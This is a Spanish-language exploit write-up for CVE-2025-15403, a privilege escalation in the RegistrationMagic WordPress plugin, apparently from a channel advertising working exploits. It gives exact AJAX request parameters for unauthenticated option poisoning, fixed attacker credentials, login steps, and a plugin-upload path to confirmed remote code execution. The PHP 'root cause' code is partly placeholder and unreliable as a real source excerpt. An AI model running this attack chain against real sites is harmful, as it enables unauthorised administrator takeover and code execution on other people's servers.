
RegistrationMagic <= 6.0.7.1 - Escalada de privilegios no autenticada vía admin_order
RegistrationMagic <= 6.0.7.1 - Escalada de Privilegios No Autenticada vía admin_order
,-. . , ,--. ,-. ,-. ,-. ;--' , ;--' ,. ,-. ,--,
/ | / | ) / /\ ) | '| | / | / /\ /
| | / |- --- / | / | / `-. --- | `-. '--| | / | `.
\ |/ | / \/ / / ) | ) | \/ / )
`-' ' `--' '--' `-' '--' `-' ' `-' ' `-' `-'
📡 La información exclusiva llega aquí primero. Sigue a @KNxploited en Telegram: divulgaciones precisas de CVE, exploits funcionales e investigación profunda de vulnerabilidades. El canal para quienes no esperan las noticias, sino que las crean.
CVE-2025-15403 es una vulnerabilidad de Escalada de Privilegios Crítica con CVSS 9.8 en el plugin RegistrationMagic para WordPress.
La falla existe en la función add_menu del plugin, expuesta sin autenticación a través de la acción AJAX rm_user_exists. Al inyectar un slug vacío en el parámetro order junto con el flag enable_admin_order=yes, un atacante manipula la lógica interna de generación de menús del plugin. Cuando el menú de administración se construye posteriormente, el plugin llama silenciosamente a add_cap('manage_options') sobre el rol objetivo, elevando cualquier cuenta de nivel suscriptor a capacidad administrativa completa.
| Campo | Detalles |
|---|---|
| ID CVE | CVE-2025-15403 |
| Plugin | RegistrationMagic |
| Slug | registrationmagic / custom-registration-form-builder-with-submission-manager |
| Versiones Afectadas | Todas las versiones hasta la 6.0.7.1 inclusive |
| Tipo de Vulnerabilidad | Escalada de Privilegios No Autenticada |
| Requisito de Ataque | Etapa AJAX: Ninguno. Explotación: Cuenta de suscriptor |
| Vector de Ataque | Red |
| Puntuación CVSS 3.1 | 9.8 CRÍTICA |
| Vector CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Impacto | Toma de control total del Administrador de WordPress |
| Investigador | Nxploited |
La causa raíz es que la función add_menu es accesible sin autenticación a través de rm_user_exists, combinada con una validación nula del slug admin_order:
// Registered with no capability check
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);
public function rm_user_exists_handler() {
$slug = sanitize_text_field($_POST['rm_slug']);
$order = $_POST['order']; // ← User-controlled, NOT sanitized
$role_key = /* derived from POST */;
$enable = $_POST['enable_admin_order'];
if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
// Stores attacker-controlled order into plugin options
update_option('rm_admin_order', $order); // e.g. ",menu1" → empty first slug
}
}
// Later, when admin menu is being built...
public function add_menu() {
$order = get_option('rm_admin_order'); // ← Poisoned by attacker
$slugs = explode(',', $order);
foreach ($slugs as $slug) {
if (empty($slug)) {
// Empty slug triggers unconditional capability grant
$role->add_cap('manage_options'); // ← FULL ADMIN CAPABILITY ADDED
}
}
}
Por qué esto es crítico:
wp_ajax_nopriv_* = cero autenticación necesaria para envenenar la opciónorder=,menu1 supera la comprobación empty(), activando add_cap('manage_options')manage_options es la capacidad más alta de WordPress: equivale a Administrador╔══════════════════════════════════════════════════════════════════════════╗
║ STAGE 1 — Unauthenticated Option Poisoning ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-admin/admin-ajax.php
action = rm_user_exists
rm_slug = rm_options_admin_menu
order = ,menu1 ← empty first element = empty slug
_Subscriber = 1 ← target role key
restore = false
enable_admin_order= yes
Response: HTTP 200 (any non-blocked response = option poisoned)
↓ Plugin stores order=",menu1" into wp_options
↓ Next admin menu build triggers add_cap('manage_options') on Subscriber role
╔══════════════════════════════════════════════════════════════════════════╗
║ STAGE 2 — Account Acquisition (Subscriber) ║
╚══════════════════════════════════════════════════════════════════════════╝
Option A — Register via the site's registration form (Mode 0):
GET /wp-login.php?action=register → smart form detection
POST → create subscriber account
Credentials: NXploited / xplpass123
Option B — Use an existing subscriber account.
╔══════════════════════════════════════════════════════════════════════════╗
║ STAGE 3 — Login + Capability Harvest ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-login.php
log = NXploited
pwd = xplpass123
↓
Subscriber account now carries manage_options → full admin panel accessible
╔══════════════════════════════════════════════════════════════════════════╗
║ STAGE 4 — Deep Verification & RCE via Plugin Upload ║
╚══════════════════════════════════════════════════════════════════════════╝
GET /wp-admin/ → Admin dashboard accessible ✔️
GET /wp-admin/plugin-install.php → Plugin install page accessible ✔️
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip → Plugin uploaded & executed ✔️
GET /wp-content/plugins/Nxploited/hello.php
Response contains "Nxploited" → CONFIRMED RCE ✔️
Este conjunto de exploits proporciona tres modos distintos para cubrir todo el ciclo de vida del ataque: